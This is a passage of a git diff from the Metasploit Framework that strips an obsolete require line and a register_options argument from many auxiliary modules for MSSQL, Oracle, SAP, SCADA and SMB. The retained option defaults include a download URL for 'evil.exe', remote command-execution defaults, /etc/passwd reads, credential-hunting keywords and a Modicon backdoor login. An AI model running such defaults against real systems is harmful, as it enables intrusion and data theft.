< Msf::Auxiliary @@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb index 5a955a3d3c..8a358b9800 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/mssql_commands' class MetasploitModule < Msf::Auxiliary @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('START_RID', [true, 'RID to start fuzzing at.', 500]), OptInt.new('END_RID', [true, 'RID to stop fuzzing at.', 3000]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb index be1343ef33..1a78e38824 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/mssql_commands' class MetasploitModule < Msf::Auxiliary @@ -31,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 300]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index 254d745a02..bab49463fb 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/mssql_commands' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb index 979886b01e..01b06f4fbd 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/mssql_commands' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb index 4862f91e68..15ba895013 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/mssql_commands' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb index e47f479dc2..5e82c1deb5 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/mssql_commands' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/admin/mssql/mssql_exec.rb b/modules/auxiliary/admin/mssql/mssql_exec.rb index bd8f29568e..b8d11c5e23 100644 --- a/modules/auxiliary/admin/mssql/mssql_exec.rb +++ b/modules/auxiliary/admin/mssql/mssql_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('CMD', [ false, 'Command to execute', 'cmd.exe /c echo OWNED > C:\\owned.exe']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index 713a02b007..d1fe9bd0fe 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('KEYWORDS', [ true, 'Keywords to search for','passw|credit|card']), OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', 1]), - ], self.class) + ]) end def print_with_underline(str) diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index 262375cd2f..a768227371 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -12,8 +12,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('NAMES', [ true, 'Pipe separated list of column names', 'passw|bank|credit|card']), - ], self.class) + ]) end def print_with_underline(str) diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index 117abf5007..749243dad2 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb index 446dea3009..b1c12ea00c 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL_SQLI @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/mssql/mssql_sql.rb b/modules/auxiliary/admin/mssql/mssql_sql.rb index c6b54c2c7a..976a58d7ed 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'The SQL query to execute', 'select @@version']), - ], self.class) + ]) end def auxiliary_commands diff --git a/modules/auxiliary/admin/mssql/mssql_sql_file.rb b/modules/auxiliary/admin/mssql/mssql_sql_file.rb index 8cfa8c907b..c229fc4db7 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql_file.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql_file.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('SQL_FILE', [ true, "File containing multiple SQL queries execute (one per line)"]), OptString.new('QUERY_PREFIX', [ false, "string to append each line of the file",""]), OptString.new('QUERY_SUFFIX', [ false, "string to prepend each line of the file",""]) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/mysql/mysql_enum.rb b/modules/auxiliary/admin/mysql/mysql_enum.rb index f4c7d52c2a..b81af79293 100644 --- a/modules/auxiliary/admin/mysql/mysql_enum.rb +++ b/modules/auxiliary/admin/mysql/mysql_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/mysql/mysql_sql.rb b/modules/auxiliary/admin/mysql/mysql_sql.rb index e8dfd5f1ad..f9c6a8877c 100644 --- a/modules/auxiliary/admin/mysql/mysql_sql.rb +++ b/modules/auxiliary/admin/mysql/mysql_sql.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -25,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ true, 'The SQL to execute.', 'select version()']) - ], self.class) + ]) end def auxiliary_commands diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index 07010cf1bc..7764c3a552 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/netbios/netbios_spoof.rb b/modules/auxiliary/admin/netbios/netbios_spoof.rb index 279b6f6960..06b713fe95 100644 --- a/modules/auxiliary/admin/netbios/netbios_spoof.rb +++ b/modules/auxiliary/admin/netbios/netbios_spoof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb index 07f3cc5b19..0747480e86 100644 --- a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb +++ b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(26122), - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb b/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb index 4d5d54817d..a767e828e6 100644 --- a/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb +++ b/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('IP', [ false, 'IP adress of SMB proxy.', '0.0.0.0' ]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index 851ce5950a..3a68fc41a2 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'csv' class MetasploitModule < Msf::Auxiliary @@ -30,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptPath.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]), - ], self.class) + ]) deregister_options('DBUSER','DBPASS') diff --git a/modules/auxiliary/admin/oracle/oracle_sql.rb b/modules/auxiliary/admin/oracle/oracle_sql.rb index 1a49166ddc..394e2f1609 100644 --- a/modules/auxiliary/admin/oracle/oracle_sql.rb +++ b/modules/auxiliary/admin/oracle/oracle_sql.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'The SQL to execute.', 'select * from v$version']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/oracle/oraenum.rb b/modules/auxiliary/admin/oracle/oraenum.rb index 944e24c56a..b388430111 100644 --- a/modules/auxiliary/admin/oracle/oraenum.rb +++ b/modules/auxiliary/admin/oracle/oraenum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/oracle/osb_execqr.rb b/modules/auxiliary/admin/oracle/osb_execqr.rb index 2aa1311ec6..9d1dbfa72a 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]), OptBool.new('SSL', [true, 'Use SSL', true]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/oracle/osb_execqr2.rb b/modules/auxiliary/admin/oracle/osb_execqr2.rb index db6cfd7896..ae53fdcc0b 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr2.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr2.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]), OptBool.new('SSL', [true, 'Use SSL', true]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/oracle/osb_execqr3.rb b/modules/auxiliary/admin/oracle/osb_execqr3.rb index fae25f3308..a2ae128395 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr3.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr3.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]), OptBool.new('SSL', [true, 'Use SSL', true]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb index 0e3e355eab..1a6ad63a41 100644 --- a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb +++ b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('CMD', [ false, 'The OS command to execute.', 'echo metasploit > %SYSTEMDRIVE%\\\\unbreakable.txt']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb index b22eb782cb..161db41e2f 100644 --- a/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb +++ b/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('URL', [ false, 'The URL to download the binary from.', 'http://www.meh.com/evil.exe']), OptString.new('COPYTO', [ false, 'Location to copy the binary to', 'c:\\meh.exe']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/oracle/sid_brute.rb b/modules/auxiliary/admin/oracle/sid_brute.rb index 6a45802bf0..19dde5ecc5 100644 --- a/modules/auxiliary/admin/oracle/sid_brute.rb +++ b/modules/auxiliary/admin/oracle/sid_brute.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(1521), OptString.new('SLEEP', [ false, 'Sleep() amount between each request.', '1']), OptString.new('SIDFILE', [ false, 'The file that contains a list of sids.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]), - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/oracle/tnscmd.rb b/modules/auxiliary/admin/oracle/tnscmd.rb index ef2a7e452b..997a53da66 100644 --- a/modules/auxiliary/admin/oracle/tnscmd.rb +++ b/modules/auxiliary/admin/oracle/tnscmd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TNS @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(1521), OptString.new('CMD', [ false, 'Something like ping, version, status, etc..', '(CONNECT_DATA=(COMMAND=VERSION))']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb index ba24fc2314..3b82c234dc 100644 --- a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb +++ b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('FILE', [ true, "The file to retrieve", '/etc/passwd' ]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/postgres/postgres_readfile.rb b/modules/auxiliary/admin/postgres/postgres_readfile.rb index 2f2dd5bbd8..3c8a22872f 100644 --- a/modules/auxiliary/admin/postgres/postgres_readfile.rb +++ b/modules/auxiliary/admin/postgres/postgres_readfile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('RFILE', [ true, 'The remote file', '/etc/passwd']) - ], self.class) + ]) deregister_options( 'SQL', 'RETURN_ROWSET' ) end diff --git a/modules/auxiliary/admin/postgres/postgres_sql.rb b/modules/auxiliary/admin/postgres/postgres_sql.rb index 4d588e1f2b..866a4ea62e 100644 --- a/modules/auxiliary/admin/postgres/postgres_sql.rb +++ b/modules/auxiliary/admin/postgres/postgres_sql.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb index 39dd75f68e..2fdd2c4925 100644 --- a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb +++ b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(50000), OptString.new('CMD', [ true, 'The command to execute', 'whoami']), OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb index 4f059f70e9..8fbab88233 100644 --- a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb +++ b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('HttpUsername', [true, 'Username to use', '']), OptString.new('HttpPassword', [true, 'Password to use', '']), OptString.new('CMD', [true, 'Command to run', 'set']), - ], self.class) + ]) register_autofilter_ports([ 50013 ]) end diff --git a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb index 12b7a41335..25db025845 100644 --- a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb +++ b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -42,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new("TARGETURI", [true, 'The path to the BEMS Web Site', '/BEMS']), OptString.new("WEB_DATABASE", [true, 'The path to the bwCfg.mdb database in the target', "C:\\WebAccess\\Node\\config\\bwCfg.mdb"]) - ], self.class) + ]) end def build_soap(injection) diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index 0325a8274b..05fca9df48 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -4,8 +4,6 @@ ## require 'uri' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb OptInt.new('DEPTH', [true, 'Traversal depth', 5]) - ], self.class) + ]) end def normalize_uri(*strs) diff --git a/modules/auxiliary/admin/scada/modicon_command.rb b/modules/auxiliary/admin/scada/modicon_command.rb index fd29955621..6b1449faf2 100644 --- a/modules/auxiliary/admin/scada/modicon_command.rb +++ b/modules/auxiliary/admin/scada/modicon_command.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary ] ]), Opt::RPORT(502) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb index 120969c2cb..0663776f04 100644 --- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb +++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Report @@ -37,12 +35,12 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(21), OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']), OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']) - ], self.class) + ]) register_advanced_options( [ OptBool.new('RUN_CHECK', [false, "Check if the device is really a Modicon device", true]) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb index fc0368f945..6b1dd064b3 100644 --- a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb +++ b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary ] ]), Opt::RPORT(502) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/scada/multi_cip_command.rb b/modules/auxiliary/admin/scada/multi_cip_command.rb index 5561973f04..0279a8c4f0 100644 --- a/modules/auxiliary/admin/scada/multi_cip_command.rb +++ b/modules/auxiliary/admin/scada/multi_cip_command.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/admin/scada/phoenix_command.rb b/modules/auxiliary/admin/scada/phoenix_command.rb index 372f699dad..a0c81d34c2 100644 --- a/modules/auxiliary/admin/scada/phoenix_command.rb +++ b/modules/auxiliary/admin/scada/phoenix_command.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Rex::Socket::Tcp diff --git a/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb index 2c83b0530b..89f95fe573 100644 --- a/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb +++ b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(20111), OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]), OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ]) - ], self.class) + ]) end def srvport diff --git a/modules/auxiliary/admin/serverprotect/file.rb b/modules/auxiliary/admin/serverprotect/file.rb index 81222d0790..dedd9fa697 100644 --- a/modules/auxiliary/admin/serverprotect/file.rb +++ b/modules/auxiliary/admin/serverprotect/file.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary "The local filesystem path", nil ]), - ], self.class) + ]) end def check_option(name) diff --git a/modules/auxiliary/admin/smb/check_dir_file.rb b/modules/auxiliary/admin/smb/check_dir_file.rb index 8419fb7ce5..fa0d73c78a 100644 --- a/modules/auxiliary/admin/smb/check_dir_file.rb +++ b/modules/auxiliary/admin/smb/check_dir_file.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('SMBSHARE', [true, 'The name of an accessible share on the server', 'C$']), OptString.new('RPATH', [true, 'The name of the remote file/directory relative to the share']) - ], self.class) + ]) end diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index ce17349d7c..f631453256 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']) - ], self.class) + ]) end def smb_delete_files diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index f6c0673103..4dba6ddf29 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']) - ], self.class) + ]) end def smb_download diff --git a/modules/auxiliary/admin/smb/list_directory.rb b/modules/auxiliary/admin/smb/list_directory.rb index c756129fa2..49c084d45c 100644 --- a/modules/auxiliary/admin/smb/list_directory.rb +++ b/modules/auxiliary/admin/smb/list_directory.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -40,7 +38,7 